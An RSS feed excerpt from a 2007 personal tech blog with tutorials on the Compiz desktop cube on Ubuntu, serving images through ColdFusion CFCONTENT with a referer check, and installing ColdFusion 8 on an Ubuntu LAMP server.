<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;title=Tutorial%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;title=Tutorial%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Tutorial%3A&amp;u=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;title=Tutorial%3A&amp;description=Tutorial%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;h=Tutorial%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;title=Tutorial%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/&amp;title=Tutorial%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial:</title>
		<link>http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/</link>
		<comments>http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/#comments</comments>
		<pubDate>Mon, 03 Dec 2007 01:23:11 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/</guid>
		<description><![CDATA[A friend was asking how to set up Compiz and the desktop cube rotation effects on the latest version of Ubuntu, so here&#8217;s the quick rundown.
1. Make sure your graphics card supports direct rendering with OpenGL. Without it, you can&#8217;t run Compiz. In the terminal:
$ glxinfo &#124; grep rendering
The result should be:
direct rendering: Yes
If its [...]]]></description>
			<content:encoded><![CDATA[<p>A friend was asking how to set up Compiz and the desktop cube rotation effects on the latest version of Ubuntu, so here&#8217;s the quick rundown.</p>
<p>1. Make sure your graphics card supports direct rendering with OpenGL. Without it, you can&#8217;t run Compiz. In the terminal:</p>
<pre>$ glxinfo | grep rendering</pre>
<p>The result should be:</p>
<pre>direct rendering: Yes</pre>
<p>If its not, you&#8217;ll need to either install OpenGL or change your graphics card.</p>
<p>2. On the Panel, click Applications &gt; Add/Remove.</p>
<p>3. Search for &#8216;Compiz&#8217;.</p>
<p>4. Check the box next to &#8216;Advanced Desktop Effects Settings&#8217; . Click &#8216;Apply Changes&#8217; to install.</p>
<p>5. Once installed, in the Panel, click System &gt; Preferences &gt; Advanced Desktop Effects Settings.</p>
<p>6. In General Options &gt; Desktop Size, use these settings:</p>
<p>Horizontal Virtual Size: 4<br />
Vertical Virtual Size: 1<br />
Number of Desktops: 1</p>
<p>7. Click Back and go to the Desktop options. Check the boxes for &#8216;Desktop Cube&#8217; and &#8216;Rotate Cube&#8217;.</p>
<p>That&#8217;s it. A couple things that make it look even better:</p>
<p>8. Under Effects, check the box &#8216;Cube Reflection&#8217;.</p>
<p>9. Under Utility, check the box for &#8216;Cube Caps&#8217;.</p>
<p>To see the cube rotation effect, press CTRL+ALT while click and dragging with your mouse in any direction. Have fun!</p>
<p> <a href="http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/#more-16" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Tutorial%3A&amp;Description=Tutorial%3A&amp;Url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;title=Tutorial%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;title=Tutorial%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Tutorial%3A&amp;u=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;title=Tutorial%3A&amp;description=Tutorial%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;h=Tutorial%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;title=Tutorial%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/&amp;title=Tutorial%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/12/02/tutorial-compiz-on-ubuntu-desktop-710/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Using</title>
		<link>http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/</link>
		<comments>http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 06:04:49 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/</guid>
		<description><![CDATA[This post started from a curiosity about how to store image data in SQL. Not for any particular reason, just how. I&#8217;m now firmly convinced that the correct method is: don&#8217;t. And for those wondering, here&#8217;s just one article i came across that outlines arguments for (not many) and against (more than a few) storing [...]]]></description>
			<content:encoded><![CDATA[<p>This post started from a curiosity about how to store image data in SQL. Not for any particular reason, just how. I&#8217;m now firmly convinced that the correct method is: don&#8217;t. And for those wondering, <a href="http://databases.aspfaq.com/database/should-i-store-images-in-the-database-or-the-filesystem.html">here&#8217;s just one article i came across</a> that outlines arguments for (not many) and against (more than a few) storing image data on SQL. Its on an ASP-related site, but the same principles apply to Coldfusion (and PHP and whatever else for that matter). There are a couple points the site doesn&#8217;t mention, but the general idea is that its much more advisable to just store location pointers for the images in SQL, and then store the images themselves on the file system.</p>
<p>So this idea in conjunction with the CFCONTENT tag gives me really all the control I might want, without having to awkwardly shove my images into a database (even though the binary aspect to that is pretty cool). So here&#8217;s an example of how you could use these two things in coordination.</p>
<p>First, the basic html page.</p>
<pre>&lt;html&gt;
&lt;head&gt;&lt;/head&gt;
    &lt;body&gt;&lt;img src="fakeimage.cfm?id=1234" /&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>Note the source of the IMG tag is a .cfm page with an associated url parameter. This parameter is what we will use to fetch and serve the correct image to the requester, allowing us to use this single page to serve all the images on our site. Also interesting, even though the page being called is a .cfm page, the html example shown above could have a regular .htm or .html extension.</p>
<p>Next up is the imageserver.cfm page that, you guessed it, serves the images.</p>
<pre>&lt;cfif IsDefined("URL.id") AND IsNumeric(URL.id) AND URL.id GT 0&gt;
&lt;cfquery name="fetch" datasource="yourdatabase"&gt;
    SELECT imagelocation
    FROM imagetable
    WHERE id = &lt;cfqueryparam cfsqltype="cf_sql_integer" value="#URL.id#"&gt;
    LIMIT 1    &lt;!--- MSSQL users discard this line ---&gt;
&lt;/cfquery&gt; 

&lt;cfif fetch.recordcount AND trim(fetch.imagelocation) NEQ ""&gt; 

    &lt;cfcontent
        type="image/#listlast(fetch.imagelocation,'.')#"
        file="#fetch.imagelocation#"
        reset="true" /&gt; 

&lt;/cfif&gt; 

&lt;/cfif&gt;</pre>
<p>When you store the image&#8217;s full path in the database instead of a relative path, you can even store your images outside of your web root (I&#8217;ve tested this on Linux and Windows). This could be a good way to keep spiders or other bots from finding your well-hidden images directory. Also, I know some people are purists with their language/s of choice (and I can understand that), but if you really wanted to get fancy here and fetch the correct mime type instead of hoping based on the extension like I did above, you could do this very simply with some nested Java functions:</p>
<pre>&lt;cfcontent
    type="#getPageContext().getServletContext().getMimeType(fetch.imagelocation)#"
    file="#fetch.imagelocation#"
    reset="true" /&gt;</pre>
<p>And remember, since Coldfusion is translated directly to Java bytecode (since version 6), one could maybe argue that the additional functions are really the same as Coldfusion anyway. OK maybe not. Yeah, not really at all. That one sounded better in my head. Anyway, that&#8217;s how you could use Coldfusion to serve your site&#8217;s images. Some other cool additions to this functionality:</p>
<p>1. You could keep people from leeching your images for their own use, even when they call your imageserver.cfm with the right url parameters. Do this by checking the referer before serving the images, and if its not you, cfabort. Like so:</p>
<pre>&lt;!--- strip the referer down to the domain name ---&gt;
&lt;cfset request.refererurl = listfirst(replace(CGI.HTTP_REFERER,"http://","","one"),"/") /&gt; 

&lt;!--- if the referer is any site but this one ---&gt;
&lt;cfif comparenocase(request.refererurl,cgi.SERVER_NAME) NEQ 0&gt;
    &lt;cfabort/&gt;
&lt;/cfif&gt;</pre>
<p>I should caution you that technically, CGI variables can be spoofed, but in practice I would count this as few and far between. And if that kind of thing is happening on your site (which you likely won&#8217;t know about without some thorough digging anyway), then you likely have larger issues at hand. But this will definitely put the brakes on your average hotlinker. You could even drive the point home by serving up a less-than-pleasant image that they didn&#8217;t ask for (if you get my drift lol), instead of aborting.</p>
<p>2. If, for some reason, you wanted to track various statistics on your images and their number of views or whatever, you could do that by databasing any information you want prior to serving the image. Useful information could be anything found in the URL, REQUEST, SESSION, APPLICATION, SERVER, or CGI scopes.</p>
<p>This was fun. I hope this helps someone!</p>
<p> <a href="http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/#more-15" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Using&amp;Description=Using&amp;Url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;title=Using" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;title=Using" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Using&amp;u=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;title=Using&amp;description=Using" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;h=Using" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;title=Using" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/&amp;title=Using" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/30/using-cfcontent-to-serve-images/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial:</title>
		<link>http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/</link>
		<comments>http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/#comments</comments>
		<pubDate>Thu, 29 Nov 2007 09:46:11 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/</guid>
		<description><![CDATA[This post is a semi-tutorial for the installation and configuration of Adobe Coldfusion 8 on an Ubuntu 7.10 Gutsy Gibbon desktop edition LAMP server running apache2, php5, mysql5, and phpmyadmin. I say semi-tutorial cuz this post assumes your set up is like mine as laid out in my previous post, &#8220;Tutorial: LAMP Server On Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a semi-tutorial for the installation and configuration of Adobe Coldfusion 8 on an Ubuntu 7.10 Gutsy Gibbon desktop edition LAMP server running apache2, php5, mysql5, and phpmyadmin. I say <em>semi</em>-tutorial cuz this post assumes your set up is like mine as laid out in my previous post, &#8220;<a href="http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/">Tutorial: LAMP Server On Ubuntu 7.10 Desktop</a>&#8220;. If your setup differs from mine, this post may not work for you. Oh also, I&#8217;m a TOTAL LINUX NEWBIE so thats my upfront disclaimer. This is just what worked for me. At the end of this post, you&#8217;ll find links to the sites I found helpful in this process. To the authors of said links, thank you for your help. It was awesome of you to post your experiences, and with them I found it easier to wade through this process. I hope others find my post as helpful. So here we go (this is long).</p>
<p>1. Go to <a href="http://www.adobe.com/go/trycoldfusion">www.adobe.com/go/trycoldfusion</a>. To download cf8, you&#8217;ll need an adobe account, but its free and takes one minute to register.</p>
<p>2. The file you want is obviously the linux one: Coldfusion-8-lin.bin. Download it to your machine.</p>
<p>3. Notice the checksum for the file is listed there on the download page. Once its finished downloading, run md5sum in a terminal:</p>
<pre>$ cd downloaddirectory
$ md5sum Coldfusion-8-lin.bin</pre>
<p>and compare the result against the one posted on the Adobe download page. At the time of this posting, the checksum is:</p>
<pre>ce9bb2af5cbf908cbd4403ce506335ef</pre>
<p>If the checksums do not match, it means the file is bad, so delete the file and download it again.</p>
<p>4. By default, the binary does not have executable permissions, so if you try to run it, either nothing will happen or it will try to open in a text editor lol. To see what I&#8217;m referring to, while still in the terminal in your download directory, enter this:</p>
<pre>$ ls -l</pre>
<p>and you will see a line preceding the Coldfusion-8-lin.bin file that looks like:</p>
<pre>-rw-r--r--</pre>
<p>These are the file&#8217;s permissions, which show as only for reading and writing, but it needs x&#8217;s, so run this:</p>
<pre>$ chmod +x Coldfusion-8-lin.bin</pre>
<p>and it is now an executable application. To see this via command line, run ls -l again, you&#8217;ll see:</p>
<pre>-rwxr-xr-x</pre>
<p>5. Now run the binary, but you&#8217;ll need to run it as sudo, otherwise you&#8217;ll get part way into the installation and it will tell you that it requires root privileges to continue:</p>
<pre>$ sudo ./Coldfusion-8-lin.bin</pre>
<p>The next several steps will walk you through the installation process. Note that at any time you can go back to a previous step in the installation process by typing &#8216;back&#8217;. You may also type &#8216;quit&#8217; to quit, but quitters never &#8230; something something (i stopped listening and missed the rest of the maxim).</p>
<p>6. Language? type &#8216;1&#8242; for &#8216;english&#8217;.</p>
<p>7. Press enter through all the legal prompts, reading each page line by line of course ;).</p>
<p>8. Install type? For me this will be a developer machine on my home network so number &#8216;3&#8242;, I choose you.</p>
<p>9. Server configuration? I don&#8217;t need anything fancy so i type &#8216;1&#8242; for the standard server configuration. Your mileage may vary.</p>
<p>10. Is there already a server configuration of coldfusion 8 installed? &#8216;2&#8242; for no.</p>
<p>11. I disabled the documentation but left everything else cuz i might use it. One could make the argument that disabling the documentation is a good idea for security reasons, but like I said before, this machine is on my home network so it doesn&#8217;t really matter as much. I just don&#8217;t need the documentation. There&#8217;s plenty of good sites for that (maybe someday mine will be one of them).</p>
<p>12. Installation folder? I went with the default: /opt/coldfusion8</p>
<p>13. More legal stuff if you are installing Adobe LiveCycle Data Services. I might use Adobe AIR at some point so I went ahead and installed that.</p>
<p>14. Serial number? Left it blank for Developer Edition.</p>
<p>15. Earlier version? &#8216;2&#8242; for no.</p>
<p>16. Add Web Server Configuration? Here, I diverge from most of the other tutorials I found on this subject. The majority of people seem to be skipping the Apache configuration here, finishing the install, then copying various connector files and restarting various services after the installation is completed. This may have been something necessary for Coldfusion 7. If so, I can&#8217;t speak to that. But instead of doing all that, I went the route of adding the configuration for Apache during the installation. So choose the number for &#8216;Add Web Server Configuration&#8217;, then select the number for &#8216;Apache&#8217; at the next prompt.</p>
<p>17. Key file locations the installation asks for next are:</p>
<p>Apache configuration file: /etc/apache2<br />
Apache binary file: /usr/sbin/apache2<br />
Apache control file: /usr/sbin/apache2ctl</p>
<p>18. Once this is done, you&#8217;ll know cuz you&#8217;ll see the option to edit the Apache configuration you just added. But we don&#8217;t want to do that so type &#8216;4&#8242; instead to continue the installation.</p>
<p>19. For the web root and Coldfusion Administrator location, I went the default Apache web root on my machine: /var/www</p>
<p>20. Runtime user? Whatever user you want.</p>
<p>21. Password? That user&#8217;s password.</p>
<p>22. RDS enabled? I said yes for the moment even though my plan is to set up Subversion at some point in the near future.</p>
<p>23. RDS password? um, macaroni.</p>
<p>24. Review the installation configuration, then press enter to make it all happen. Mmm, feels good. On my machine this last part (of the first part? o_0 ) took less than five minutes. Once its done, you&#8217;ll get this:</p>
<pre>You have successfully completed
the first step in installing Adobe Coldfusion 8.
To continue with your installation,
go to /opt/coldfusion8/bin and type
"./coldfusion start" to start your server.
Once the server is started,
log in to the configuration wizard at
http://[machinename]/CFIDE/administrator/index.cfm</pre>
<p>25. So do that, but as sudo:</p>
<pre>$ cd /opt/coldfusion8/bin
$ sudo ./coldfusion start</pre>
<p>Coldfusion should start in a few seconds then tell you that it will be writing its logs to /opt/coldfusion8/logs/cfserver.log</p>
<p>26. Now take a breath.</p>
<p>27. Open your preferred browser *cough* firefox *cough* and navigate to <a href="http://localhost/CFIDE/administrator/index.cfm">http://localhost/CFIDE/administrator/index.cfm</a>. Once you sign in using the username and password you just provided at setup, it should automatically finish its own configuration, then take you to the Coldfusion Administrator&#8217;s main page.</p>
<p>28. So lets test Coldfusion by creating and saving a .cfm page that we&#8217;ll navigate to in a moment. Create and open the file:</p>
<pre>$ gksudo gedit /var/www/index2.cfm</pre>
